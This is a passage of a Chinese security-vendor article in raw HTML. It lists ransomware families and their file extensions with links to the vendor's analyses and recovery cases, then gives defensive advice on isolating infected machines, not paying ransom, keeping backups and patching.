0px;">.lvt</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247484331&amp;idx=1&amp;sn=8c44f6f09744da52eb2c7fca73058524&amp;chksm=c20833aff57fbab9ab98e65fe7420cad1ceacaf53bb074e73c05261fb3551e78788be29c4f52&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】交了赎金也无法恢复--针对国内某知名NAS的LVT勒索病毒最新分析</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/02/26</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.2700</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;word-break: break-all;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247485026&amp;idx=2&amp;sn=4033be51ab6a9a59906a38f74efb9aea&amp;chksm=c2083666f57fbf705f093ee4e39bb6eae24da316dfc49dca0eec305532c0f1afc51832898ded&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】phobos家族2700变种加密器分析报告</a><br/><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247485026&amp;idx=1&amp;sn=da448cf74f07557f51a40a5b40f1d018&amp;chksm=c2083666f57fbf70d0687b806bd7e95e6ca4d8b2a5f21d215c83a59e5e1d1085c4d5a8e63046&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【成功案例】某集团公司的Phobos最新变种勒索病毒2700解密恢复项目</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/01/18</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">._locked</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247485062&amp;idx=1&amp;sn=8fd22ae705059e3738f9c93f9a701ef4&amp;chksm=c2083682f57fbf940e4e5ca1170f5b160417206bac9a86fdc5a9b2cf32ef0ad1f0986375b1b6&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">中国人不骗中国人？_locked勒索病毒分析</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/01/15</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.faust</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247485595&amp;idx=1&amp;sn=1ec720e9ecd1da48d2f40f89b45a2a5e&amp;chksm=c208389ff57fb18931e4582a6b72234ce8f79867aebab755c03169a1898bd0ae5acc4daa5d78&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】phobos家族faust变种加密器分析</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/01/15</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.DevicData</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247485541&amp;idx=1&amp;sn=e1f9230e31da3f2b32f20b796509aece&amp;chksm=c2083861f57fb17797729da5c300a8f0deca8c35001d1d8f77404ac2b5417db9fae7c51cd903&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】DevicData勒索病毒分析</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2024/01/02</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.jopanaxye</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247484089&amp;idx=1&amp;sn=35d1d1cf7b42011380970f92a26aa0ca&amp;chksm=c20832bdf57fbbabbd74314e9aaf6217c6b9035c96492595f36ecd8b1ee0d319575e809f69c1&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【成功案例】某集团公司的Phobos最新变种勒索病毒jopanaxye解密恢复项目</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2023/12/01</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.live1.0</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247484738&amp;idx=1&amp;sn=b1572f6993c4e722571347d0f6e0b18d&amp;chksm=c2083546f57fbc50d01c4b0ae4274c13e300aa4fa13f02efb2ffb90334b1425103ba59f25068&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】独家揭秘LIVE勒索病毒家族之1.0（全版本可解密）</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2023/09/05</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.CryptoBytes</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247490657&amp;idx=1&amp;sn=be3b63ea2f7c4b788f1acd8c22599dee&amp;chksm=c2082c65f57fa57353ee952c05d1b239dc22d926cd39945a369e9557731fdfcb084260a56a4c&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【独家破解】揭秘境外黑客组织的20美元锁机病毒：深度逆向分析+破解攻略！赎金？给你付个🥚</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2023/08/28</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.mallox</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247485139&amp;idx=1&amp;sn=d62fea58ad2284491e33a3c459f847d4&amp;chksm=c20836d7f57fbfc1af15625c7ce1bda71bd615e75766bb0da89049538de1e9ab680f98a6ee92&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】mallox家族malloxx变种加密器分析报告</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2023/08/02</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.rmallox</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;word-break: break-all;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247485304&amp;idx=1&amp;sn=d6664b024d804c90c807e5618133455f&amp;chksm=c208377cf57fbe6ad0aaa0c70cdec93ebda39efb85beb13e5ae7484a74ecccd5be70755def8a&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】mallox家族rmallox变种加密器分析报告</a><br/><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247485381&amp;idx=1&amp;sn=49f3e3a1c3e4ce6f2d5bb0334a16bb30&amp;chksm=c20837c1f57fbed7bc89f5c6255f0dc0883af0f1df29eeb2623e67dda4b887361b17c5529a02&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【成功案例】间隔数月双团伙先后利用某ERP0day实施入侵和勒索的解密恢复项目</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2023/01/10</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.DevicData-Pa2a9e9c</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247491342&amp;idx=1&amp;sn=eddbc61738443900ec810f81cdab8760&amp;chksm=c2082f0af57fa61c0e446e2bbb9aff442ee9485bf1131cb19aaa7b4a4e78ed3e74f167090e99&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】DevicData家族扩散：全球企业和机构成为勒索病毒头号攻击目标！</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2023年初</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.halo</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247489863&amp;idx=1&amp;sn=e243a72f138591ade1477f15b2bc7d7f&amp;chksm=c2082943f57fa05504148b5df4649894fba2e9bb944c2609f6d8f607fc4fba424b6cbf36aef1&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】全网首发！以国内某安全厂商名字为后缀的勒索病毒分析</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2021/05/01</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.mallox</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247491808&amp;idx=1&amp;sn=038733626c4e784cb71c81a71bea72b5&amp;chksm=c20bd0e4f57c59f2df0a9293568dc740a6e2edfc467efa2d876dcd6b876c0ce771d5bf12bc61&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】Mallox家族再进化：首次瞄准Linux，勒索新版本全面揭秘！</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2021年1月初</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.babyk</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;word-break: break-all;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247487509&amp;idx=1&amp;sn=479d4f3628859dae82b177a8bdfa5b2d&amp;chksm=c2082011f57fa907896ea111d93f3c6d181b9b52a1e3b0a632c81aa30b2995e06a8420335253&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】BabyK加密器分析-Windows篇</a><br/><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247489030&amp;idx=1&amp;sn=f9f57acd4ab2ef480099b960463ca8ac&amp;chksm=c2082602f57faf146991ce8af68cb12ff80676992afd2f65f18754417ba9c2dc4f5a9ccfeed2&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】Babyk加密器分析-NAS篇</a><br/><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247491906&amp;idx=1&amp;sn=a9a55f464fe0a919e29f08bae5e73b4b&amp;chksm=c20bd146f57c5850f2ff4c5b14326cf2348ae941248192fe2f01648b5fa07cdc59ce4bb8d483&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】 Babyk加密器分析-EXSI篇</a><br/><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247486166&amp;idx=2&amp;sn=f6cdf0f0e24a366433be8d656eb528da&amp;chksm=c2083ad2f57fb3c4e7bd744e5d7cbd5e71b88827e267c1d996411fe6202b0e0542f7de835243&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】Babuk家族babyk勒索病毒分析</a><br/><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247486166&amp;idx=1&amp;sn=6d24d5fd782d627fce347e0c8e200263&amp;chksm=c2083ad2f57fb3c4c8e6f3716499f71c4bb0a8cac20f7094945885d806049bf4a40bd5e50da9&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【成功案例】利用多款国产内网渗透工具勒索数十台虚拟机的babyk解密恢复项目</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2020/05/18</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.consultraskey-F-XXXX</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247483909&amp;idx=1&amp;sn=aa9ab5983e66dc5507f348036533727d&amp;chksm=c2083201f57fbb170fa35ef1d0948282d87ed2cff06449f21f0d6cbe5ceb66074e248413f8e1&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【成功案例】解决浙江xx电子有限公司的勒索病毒</a></td></tr><tr style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(248, 248, 248);width: auto;height: auto;"><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">2019/05/01</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;">.src</td><td style="border-color: rgba(204, 204, 204, 0.4);min-width: 85px;border-radius: 0px;"><a href="http://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247491619&amp;idx=1&amp;sn=efb47bbb3228aebc05620fdb03d20c33&amp;chksm=c20bd027f57c593185c21e7c99ebff89f9a16d2cf872905585ffb68c8fdec2df855cc9b54a06&amp;scene=21#wechat_redirect" data-linktype="2" style="color: rgb(30, 107, 184);font-weight: bold;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">【病毒分析】Phobos家族新变种 .SRC深度分析：揭示持续演变的勒索新威胁</a></td></tr></tbody></table></section><p data-tool="mdnice编辑器" style="margin-bottom: 0px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;letter-spacing: 0em;text-align: justify;line-height: 1.8em;text-indent: 2em;">勒索攻击作为成熟的攻击手段，很多勒索家族已经形成了一套完整的商业体系，并且分支了很多团伙组织，导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同，TellYouThePass勒索软件家族常常利用系统漏洞进行攻击；Phobos勒索软件家族通过RDP暴力破解进行勒索；Mallox勒索软件家族利用数据库及暴力破解进行加密，攻击手法极多防不胜防。</p><p data-tool="mdnice编辑器" style="margin-bottom: 0px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;letter-spacing: 0em;text-align: justify;line-height: 1.8em;text-indent: 2em;">而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份，在其基础上加强公司安全人员意识。</p><h1 data-tool="mdnice编辑器" style="margin: 30px 30px 15px;padding-top: 12px;padding-bottom: 12px;color: rgb(0, 0, 0);text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);border-color: rgb(0, 0, 0);align-items: unset;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="outline: 0px;font-size: 22px;line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));">6.<strong style="outline: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: inline-block;flex-direction: unset;float: unset;height: auto;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">安全建议</strong></span></h1><h2 style="margin-top: 30px;margin-bottom: 15px;font-family: PingFangSC-regular, sans-serif;letter-spacing: normal;text-indent: 0em;text-wrap: wrap;outline: 0px;color: rgba(0, 0, 0, 0.85);cursor: pointer;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="padding-right: 30px;padding-left: 15px;outline: 0px;cursor: pointer;font-size: 18px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">6.1 风险消减措施</span></h2><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;font-size: 16px;letter-spacing: normal;text-wrap-mode: wrap;text-indent: 2em;"><strong>前期处理方法（企业内部）:</strong></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;text-indent: 2em;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">1.尽快断开被感染设备的网络连接，以防止病毒进一步扩散!</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;text-indent: 2em;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">2.请勿中途强制关机，该行为会造成不可逆后果</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;text-indent: 2em;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">3.不要尝试自行解密或支付赎金，以免造成更大损失！以下为详细的消减措施:</span></p><h3 style="padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);text-align: left;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><strong>1. 数据</strong><strong>备份策略</strong></h3><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">定期进行数据备份，并确保备份数据存储在物理隔离的设备或云环境中，避免备份被勒索病毒感染。</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">实施多重备份策略，如每日、每周、每月备份，以确保在灾难恢复时有多种数据版本可供选择。</span></p><h3 style="padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-family: PingFangSC-regular, sans-serif;letter-spacing: 0em;text-align: left;word-spacing: 0em;text-wrap-mode: wrap;outline: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><strong>2. 系统和应用更新</strong></h3><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">定期更新操作系统和应用软件，及时打补丁，修复已知的漏洞。</span></p><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);text-indent: 2em;width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><span style="outline: 0px;font-size: 15px;letter-spacing: 0.034em;">开启自动更新功能，确保始终拥有最新的安全补丁。</span></p><h3 style="padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);text-align: left;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;line-height: 1.5em;word-break: break-word;visibility: visible;"><strong>3. 邮件和浏览器安全</strong></h3><p style="margin-bottom: 0px;padding-right: 10px;padding-left: 10px;color: rgb(0, 0, 0);font-size: 16px;word-spacing: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei 